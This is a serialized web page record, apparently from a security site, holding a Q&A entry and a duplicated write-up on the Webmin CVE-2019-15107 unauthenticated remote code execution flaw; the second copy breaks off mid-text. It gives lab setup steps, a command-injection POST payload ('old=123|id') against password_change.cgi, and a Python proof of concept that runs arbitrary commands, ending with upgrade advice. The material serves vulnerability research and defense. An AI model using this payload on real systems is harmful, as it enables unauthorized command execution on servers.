[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fj1EpeqIA4Y6bwH5e7P7hX66NT_HZRUOinfJTQLEcezA":3},{"id":4,"question":5,"answer":6,"answerHtml":7,"slug":8,"keywords":9,"article":10,"status":34,"aiModel":39,"aiConfidence":39,"updatedAt":51,"createdAt":51,"_status":50},136,"What is the CVE-2019-15107 vulnerability in Webmin, and what condition must be present for it to be exploitable?","CVE-2019-15107 is an unauthenticated remote code execution vulnerability in Webmin versions below 1.930. It requires the Webmin Password expiry policy to be set to 'Prompt users with expired passwords to enter a new one' (instead of the default 'Always deny'). As detailed in our [Webmin\u003C=1.920-Unauthenticated_RCE(CVE-2019-15107) Exploitation Test](\u002Fnews\u002Fwebmin-1-920-unauthenticated-rce-cve-2019-15107-exploitation-test), this allows an attacker to inject commands via a crafted POST request to password_change.cgi.","\u003Cp>CVE-2019-15107 is an unauthenticated remote code execution vulnerability in Webmin versions below 1.930. It requires the Webmin Password expiry policy to be set to &#39;Prompt users with expired passwords to enter a new one&#39; (instead of the default &#39;Always deny&#39;). As detailed in our [Webmin&lt;=1.920-Unauthenticated_RCE(CVE-2019-15107) Exploitation Test](\u002Fnews\u002Fwebmin-1-920-unauthenticated-rce-cve-2019-15107-exploitation-test), this allows an attacker to inject commands via a crafted POST request to password_change.cgi.\u003C\u002Fp>\u003Cp>\u003Ca href=\"\u002Fnews\u002Fwebmin-1-920-unauthenticated-rce-cve-2019-15107-exploitation-test\">Read the related One Day Sec article\u003C\u002Fa>\u003C\u002Fp>","what-is-the-cve-2019-15107-vulnerability-in-webmin-and-what-condition-must-be-pr-1777485107142","CVE-2019-15107, Webmin, password expiry policy, unauthenticated RCE",{"id":11,"title":12,"slug":13,"description":14,"content":15,"contentHtml":30,"cover":31,"author":32,"views":19,"readingTime":33,"status":34,"publishedAt":35,"seo":36,"tags":41,"qaPairs":42,"meta":47,"updatedAt":48,"createdAt":49,"_status":50},37,"Webmin\u003C=1.920-Unauthenticated_RCE(CVE-2019-15107) Exploitation Test","webmin-1-920-unauthenticated-rce-cve-2019-15107-exploitation-test","Test Webmin \u003C=1.920 RCE vulnerability (CVE-2019-15107). Learn to reproduce with Burp Suite, write Python POC, and secure your system.",{"root":16},{"type":17,"format":18,"indent":19,"version":20,"children":21,"direction":29},"root","",0,1,[22],{"type":23,"format":18,"indent":19,"version":20,"children":24,"direction":29},"paragraph",[25],{"mode":26,"text":27,"type":28,"style":18,"detail":19,"format":19,"version":20},"normal","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>On August 10, 2019, Ozkan(@ehakkus) disclosed a 0-day at DEFCON AppSec Village. Webmin versions below 1.930 contain a remote code execution vulnerability. The article address is as follows:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fpentest.com.tr\u002Fexploits\u002FDEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html\u003C\u002Fp>\u003Cp>I conducted follow-up research on this vulnerability. This article will document the testing process, develop a Python POC based on the vulnerability principle, and provide defense recommendations.\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following:\u003C\u002Fp>\u003Cul>\u003Cli>Vulnerability Overview\u003C\u002Fli>\u003Cli>Setting Up a Test Environment\u003C\u002Fli>\u003Cli>Reproducing the Vulnerability with Burp Suite\u003C\u002Fli>\u003Cli>Writing a POC in Python\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Vulnerability Overview\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Webmin is a web-based Unix system management tool, simply put: it allows remote management of Unix system hosts via a browser.\u003C\u002Fp>\u003Cp>Versions of Webmin below 1.930 have a remote code execution vulnerability. When Webmin's Password expiry policy is set to 'Prompt users with expired passwords to enter a new one' (the default setting is 'Always deny users with expired passwords'), remote code execution can be achieved by constructing a specially formatted POST packet.\u003C\u002Fp>\u003Ch2>0x03 Setting up the test environment and reproducing the vulnerability\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Test system: Centos7 x64\u003C\u002Fp>\u003Cp>IP: 192.168.112.181\u003C\u002Fp>\u003Ch3>1. Install perl and dependency libraries\u003C\u002Fh3>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>yum -y install perl\u003Cbr>yum -y install perl-Net-SSLeay\u003Cbr>yum -y install perl-Encode-Detect\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>2. Download and install the vulnerable Webadmin (1.920)\u003C\u002Fh3>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>wget https:\u002F\u002Fsourceforge.net\u002Fprojects\u002Fwebadmin\u002Ffiles\u002Fwebmin\u002F1.920\u002Fwebmin-1.920-1.noarch.rpm\u003Cbr>rpm -U webmin-1.920-1.noarch.rpm\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>After successful installation, Webadmin enables SSL by default.\u003C\u002Fp>\u003Ch3>3. Configure the firewall to open port 10000, enabling remote access\u003C\u002Fh3>\u003Cp>Add port 10000:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>firewall-cmd --zone=public --add-port=10000\u002Ftcp --permanent\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Restart firewall:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>firewall-cmd --reload\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Check if the port is open:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>firewall-cmd --query-port=10000\u002Ftcp\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>4. Remote login\u003C\u002Fh3>\u003Cp>https:\u002F\u002F192.168.112.181:10000\u003C\u002Fp>\u003Cp>Login page as shown below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019799399_0_b2dcfb862b.jpeg\">\u003C\u002Fp>\u003Cp>Log in using CentOS root user password\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>For testing convenience, you can first disable SSL function at: Webmin Configuration -&gt; SSL Encryption\u003C\u002Fp>\u003Cp>As shown below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019812466_1_4b7d3022a6.jpeg\">\u003C\u002Fp>\u003Cp>The new login page is http:\u002F\u002F192.168.112.181:10000\u003C\u002Fp>\u003Ch3>5. Modify Password expiry policy\u003C\u002Fh3>\u003Cp>Location: Webmin Configuration -&gt; Authentication\u003C\u002Fp>\u003Cp>Default is Always deny users with expired passwords\u003C\u002Fp>\u003Cp>Change to Prompt users with expired passwords to enter a new one\u003C\u002Fp>\u003Cp>As shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019823816_2_a4279418d4.jpeg\">\u003C\u002Fp>\u003Ch3>6. Add a new user\u003C\u002Fh3>\u003Cp>Location: Webmin Users\u003C\u002Fp>\u003Cp>After successfully adding the user, modify the Password option and add Force change at next login\u003C\u002Fp>\u003Cp>As shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019834834_3_4409775bb3.jpeg\">\u003C\u002Fp>\u003Ch3>7. Log in with the new user\u003C\u002Fh3>\u003Cp>Prompt to change password\u003C\u002Fp>\u003Cp>As shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019856480_4_37ff06cfa7.jpeg\">\u003C\u002Fp>\u003Ch3>8. Start Burp Suite to capture packets\u003C\u002Fh3>\u003Cp>Enter any old password and new password\u003C\u002Fp>\u003Cp>Burp Suite packet capture is shown below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019864898_5_3a0ba54d2b.jpeg\">\u003C\u002Fp>\u003Cp>Normal return result is shown below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019868419_6_e55f69c33e.jpeg\">\u003C\u002Fp>\u003Ch3>9. Modify POST packet, add Payload\u003C\u002Fh3>\u003Cp>Repeat step 8 and modify the POST packet\u003C\u002Fp>\u003Cp>Original data:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>user=a&amp;pam=&amp;expired=2&amp;old=123&amp;new1=456&amp;new2=456\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>New data:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>user=a&amp;pam=&amp;expired=2&amp;old=123|id&amp;new1=456&amp;new2=456\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>As shown below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019872372_7_fdb5971bef.jpeg\">\u003C\u002Fp>\u003Cp>The new result is shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019876886_8_4ae28aa3d1.jpeg\">\u003C\u002Fp>\u003Cp>Executed the command (id) and output the result\u003C\u002Fp>\u003Ch2>0x04 Writing a POC using Python\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Ozkan (@ehakkus) used Ruby to write a POC in his article; here, we rewrite a POC in Python based on the packet capture from Burp Suite\u003C\u002Fp>\u003Cp>The following issues need to be considered:\u003C\u002Fp>\u003Ch3>1. Using Python's requests to send a POST packet\u003C\u002Fh3>\u003Cp>The format of the POST packet is shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019880915_9_1919560ee0.jpeg\">\u003C\u002Fp>\u003Cp>The corresponding Python code using requests to send a POST packet is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>import requests\u003Cbr>def test_post_http(ip,command):\u003Cbr>    try:\u003Cbr>        url = 'http:\u002F\u002F' + ip + ':10000\u002Fpassword_change.cgi'\u003Cbr>        headers = {\u003Cbr>            'User-Agent': 'Mozilla\u002F5.0 (X11; Linux x86_64; rv:52.0) Gecko\u002F20100101 Firefox\u002F52.0',\u003Cbr>            'Accept': 'text\u002Fhtml,application\u002Fxhtml+xml,application\u002Fxml;q=0.9,*\u002F*;q=0.8',\u003Cbr>            'Accept-Language': 'en-US,en;q=0.5',\u003Cbr>            'Accept-Encoding': \"gzip, deflate\",\u003Cbr>            'Referer': 'http:\u002F\u002F' + ip + ':10000\u002Fsession_login.cgi',\u003Cbr>            'Cookie': 'redirect=1; testing=1; sid=x',\u003Cbr>            'Connection': 'close',\u003Cbr>            'Upgrade-Insecure-Requests': '1',\u003Cbr>            'Content-Type': 'application\u002Fx-www-form-urlencoded',\u003Cbr>            'Content-Length': '47'\u003Cbr>        } \u003Cbr>        payload = 'user=a&amp;pam=&amp;expired=2&amp;old=test|' + command + '&amp;new1=test1&amp;new2=test1'\u003Cbr>        r = requests.post(url, data=payload, headers = headers)\u003Cbr>    \tprint r.text\u003Cbr>    except Exception as e:\u003Cbr>            print '[!]Error:%s'%e\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>2. Add identification for results\u003C\u002Fh3>\u003Cp>If Webmin does not have 'Prompt users with expired passwords to enter a new one' enabled, the result is:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u003C\u002Fp>\u003Ch1>Error - Perl execution failed\u003C\u002Fh1>\u003Cbr>\u003Cp>Password changing is not enabled! at \u002Fusr\u002Flibexec\u002Fwebmin\u002Fpassword_change.cgi line 12.\u003Cbr>\u003C\u002Fp>\u003Cp>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>If Webmin uses https, the result is:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u003C\u002Fp>\u003Ch1>Error - Document follows\u003C\u002Fh1>\u003Cbr>\u003Cpre>This web server is running in SSL mode. Try the URL \u003Ca href=\"https:\u002F\u002Fwebmin-node-reddis:10000\u002F\">https:\u002F\u002Fwebmin-node-reddis:10000\u002F\u003C\u002Fa> instead.\u003Cbr>\u003C\u002Fpre>\u003Cp>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>If Webmin has 'Prompt users with expired passwords to enter a new one' enabled, the result is:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u003C\u002Fp>\u003Chr>\u003Cbr>\u003Ccenter>\u003Ch3>Failed to change password : The current password is incorrect\u003C\u002Fh3>\u003C\u002Fcenter>\u003Cbr>\u003Chr>\u003Cp>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>3. Add support for HTTPS\u003C\u002Fh3>\u003Cp>If the result is 'This web server is running in SSL mode.', then switch to HTTPS and test again\u003C\u002Fp>\u003Cp>Additionally, certificate verification needs to be disabled\u003C\u002Fp>\u003Cp>Original code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>r = requests.post(url, data=payload, headers = headers)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>New code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>r = requests.post(url, data=payload, headers = headers, verify = False)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>To suppress SSL warnings from certificate verification, add the code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>import warnings\u003Cbr>warnings.filterwarnings(\"ignore\")\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Otherwise, it will display:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>C:\\Python27\\lib\\site-packages\\urllib3-1.25.3-py2.7.egg\\urllib3\\connectionpool.py:851: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: ttps:\u002F\u002Furllib3.readthedocs.io\u002Fen\u002Flatest\u002Fadvanced-usage.html#ssl-warnings  InsecureRequestWarning)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The complete test code has been open-sourced, available at:\u003C\u002Fp>\u003Cp>An Open Source Project).py\u003C\u002Fp>\u003Ch2>0x05 Defense Recommendations\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>1. Upgrade to 1.930\u003C\u002Fp>\u003Cp>2. Password expiry policy uses default settings\u003C\u002Fp>\u003Ch2>0x06 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article tests the remote code execution in Webmin&lt;=1.920, records the process, writes a POC in Python based on the vulnerability principle, and provides defense recommendations\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>","text","ltr","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>On August 10, 2019, Ozkan(@ehakkus) disclosed a 0-day at DEFCON AppSec Village. Webmin versions below 1.930 contain a remote code execution vulnerability. The article address is as follows:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fpentest.com.tr\u002Fexploits\u002FDEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html\u003C\u002Fp>\u003Cp>I conducted follow-up research on this vulnerability. This article will document the testing process, develop a Python POC based on the vulnerability principle, and provide defense recommendations.\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following:\u003C\u002Fp>\u003Cul>\u003Cli>Vulnerability Overview\u003C\u002Fli>\u003Cli>Setting Up a Test Environment\u003C\u002Fli>\u003Cli>Reproducing the Vulnerability with Burp Suite\u003C\u002Fli>\u003Cli>Writing a POC in Python\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Vulnerability Overview\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Webmin is a web-based Unix system management tool, simply put: it allows remote management of Unix system hosts via a browser.\u003C\u002Fp>\u003Cp>Versions of Webmin below 1.930 have a remote code execution vulnerability. When Webmin's Password expiry policy is set to 'Prompt users with expired passwords to enter a new one' (the default setting is 'Always deny users with expired passwords'), remote code execution can be achieved by constructing a specially formatted POST packet.\u003C\u002Fp>\u003Ch2>0x03 Setting up the test environment and reproducing the vulnerability\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Test system: Centos7 x64\u003C\u002Fp>\u003Cp>IP: 192.168.112.181\u003C\u002Fp>\u003Ch3>1. Install perl and dependency libraries\u003C\u002Fh3>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>yum -y install perl\u003Cbr>yum -y install perl-Net-SSLeay\u003Cbr>yum -y install perl-Encode-Detect\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>2. Download and install the vulnerable Webadmin (1.920)\u003C\u002Fh3>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>wget https:\u002F\u002Fsourceforge.net\u002Fprojects\u002Fwebadmin\u002Ffiles\u002Fwebmin\u002F1.920\u002Fwebmin-1.920-1.noarch.rpm\u003Cbr>rpm -U webmin-1.920-1.noarch.rpm\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>After successful installation, Webadmin enables SSL by default.\u003C\u002Fp>\u003Ch3>3. Configure the firewall to open port 10000, enabling remote access\u003C\u002Fh3>\u003Cp>Add port 10000:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>firewall-cmd --zone=public --add-port=10000\u002Ftcp --permanent\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Restart firewall:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>firewall-cmd --reload\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Check if the port is open:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>firewall-cmd --query-port=10000\u002Ftcp\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>4. Remote login\u003C\u002Fh3>\u003Cp>https:\u002F\u002F192.168.112.181:10000\u003C\u002Fp>\u003Cp>Login page as shown below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019799399_0_b2dcfb862b-1.jpeg\">\u003C\u002Fp>\u003Cp>Log in using CentOS root user password\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>For testing convenience, you can first disable SSL function at: Webmin Configuration -&gt; SSL Encryption\u003C\u002Fp>\u003Cp>As shown below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019812466_1_4b7d3022a6-1.jpeg\">\u003C\u002Fp>\u003Cp>The new login page is http:\u002F\u002F192.168.112.181:10000\u003C\u002Fp>\u003Ch3>5. Modify Password expiry policy\u003C\u002Fh3>\u003Cp>Location: Webmin Configuration -&gt; Authentication\u003C\u002Fp>\u003Cp>Default is Always deny users with expired passwords\u003C\u002Fp>\u003Cp>Change to Prompt users with expired passwords to enter a new one\u003C\u002Fp>\u003Cp>As shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019823816_2_a4279418d4-1.jpeg\">\u003C\u002Fp>\u003Ch3>6. Add a new user\u003C\u002Fh3>\u003Cp>Location: Webmin Users\u003C\u002Fp>\u003Cp>After successfully adding the user, modify the Password option and add Force change at next login\u003C\u002Fp>\u003Cp>As shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019834834_3_4409775bb3-1.jpeg\">\u003C\u002Fp>\u003Ch3>7. Log in with the new user\u003C\u002Fh3>\u003Cp>Prompt to change password\u003C\u002Fp>\u003Cp>As shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019856480_4_37ff06cfa7-1.jpeg\">\u003C\u002Fp>\u003Ch3>8. Start Burp Suite to capture packets\u003C\u002Fh3>\u003Cp>Enter any old password and new password\u003C\u002Fp>\u003Cp>Burp Suite packet capture is shown below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019864898_5_3a0ba54d2b-1.jpeg\">\u003C\u002Fp>\u003Cp>Normal return result is shown below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019868419_6_e55f69c33e-1.jpeg\">\u003C\u002Fp>\u003Ch3>9. Modify POST packet, add Payload\u003C\u002Fh3>\u003Cp>Repeat step 8 and modify the POST packet\u003C\u002Fp>\u003Cp>Original data:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>user=a&amp;pam=&amp;expired=2&amp;old=123&amp;new1=456&amp;new2=456\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>New data:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>user=a&amp;pam=&amp;expired=2&amp;old=123|id&amp;new1=456&amp;new2=456\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>As shown below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019872372_7_fdb5971bef-1.jpeg\">\u003C\u002Fp>\u003Cp>The new result is shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019876886_8_4ae28aa3d1-1.jpeg\">\u003C\u002Fp>\u003Cp>Executed the command (id) and output the result\u003C\u002Fp>\u003Ch2>0x04 Writing a POC using Python\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Ozkan (@ehakkus) used Ruby to write a POC in his article; here, we rewrite a POC in Python based on the packet capture from Burp Suite\u003C\u002Fp>\u003Cp>The following issues need to be considered:\u003C\u002Fp>\u003Ch3>1. Using Python's requests to send a POST packet\u003C\u002Fh3>\u003Cp>The format of the POST packet is shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019880915_9_1919560ee0-1.jpeg\">\u003C\u002Fp>\u003Cp>The corresponding Python code using requests to send a POST packet is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>import requests\u003Cbr>def test_post_http(ip,command):\u003Cbr>    try:\u003Cbr>        url = 'http:\u002F\u002F' + ip + ':10000\u002Fpassword_change.cgi'\u003Cbr>        headers = {\u003Cbr>            'User-Agent': 'Mozilla\u002F5.0 (X11; Linux x86_64; rv:52.0) Gecko\u002F20100101 Firefox\u002F52.0',\u003Cbr>            'Accept': 'text\u002Fhtml,application\u002Fxhtml+xml,application\u002Fxml;q=0.9,*\u002F*;q=0.8',\u003Cbr>            'Accept-Language': 'en-US,en;q=0.5',\u003Cbr>            'Accept-Encoding': \"gzip, deflate\",\u003Cbr>            'Referer': 'http:\u002F\u002F' + ip + ':10000\u002Fsession_login.cgi',\u003Cbr>            'Cookie': 'redirect=1; testing=1; sid=x',\u003Cbr>            'Connection': 'close',\u003Cbr>            'Upgrade-Insecure-Requests': '1',\u003Cbr>            'Content-Type': 'application\u002Fx-www-form-urlencoded',\u003Cbr>            'Content-Length': '47'\u003Cbr>        } \u003Cbr>        payload = 'user=a&amp;pam=&amp;expired=2&amp;old=test|' + command + '&amp;new1=test1&amp;new2=test1'\u003Cbr>        r = requests.post(url, data=payload, headers = headers)\u003Cbr>    \tprint r.text\u003Cbr>    except Exception as e:\u003Cbr>            print '[!]Error:%s'%e\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>2. Add identification for results\u003C\u002Fh3>\u003Cp>If Webmin does not have 'Prompt users with expired passwords to enter a new one' enabled, the result is:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u003C\u002Fp>\u003Ch1>Error - Perl execution failed\u003C\u002Fh1>\u003Cbr>\u003Cp>Password changing is not enabled! at \u002Fusr\u002Flibexec\u002Fwebmin\u002Fpassword_change.cgi line 12.\u003Cbr>\u003C\u002Fp>\u003Cp>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>If Webmin uses https, the result is:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u003C\u002Fp>\u003Ch1>Error - Document follows\u003C\u002Fh1>\u003Cbr>\u003Cpre>This web server is running in SSL mode. Try the URL \u003Ca href=\"https:\u002F\u002Fwebmin-node-reddis:10000\u002F\">https:\u002F\u002Fwebmin-node-reddis:10000\u002F\u003C\u002Fa> instead.\u003Cbr>\u003C\u002Fpre>\u003Cp>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>If Webmin has 'Prompt users with expired passwords to enter a new one' enabled, the result is:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u003C\u002Fp>\u003Chr>\u003Cbr>\u003Ccenter>\u003Ch3>Failed to change password : The current password is incorrect\u003C\u002Fh3>\u003C\u002Fcenter>\u003Cbr>\u003Chr>\u003Cp>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>3. Add support for HTTPS\u003C\u002Fh3>\u003Cp>If the result is 'This web server is running in SSL mode.', then switch to HTTPS and test again\u003C\u002Fp>\u003Cp>Additionally, certificate verification needs to be disabled\u003C\u002Fp>\u003Cp>Original code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>r = requests.post(url, data=payload, headers = headers)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>New code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>r = requests.post(url, data=payload, headers = headers, verify = False)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>To suppress SSL warnings from certificate verification, add the code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>import warnings\u003Cbr>warnings.filterwarnings(\"ignore\")\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Otherwise, it will display:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>C:\\Python27\\lib\\site-packages\\urllib3-1.25.3-py2.7.egg\\urllib3\\connectionpool.py:851: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: 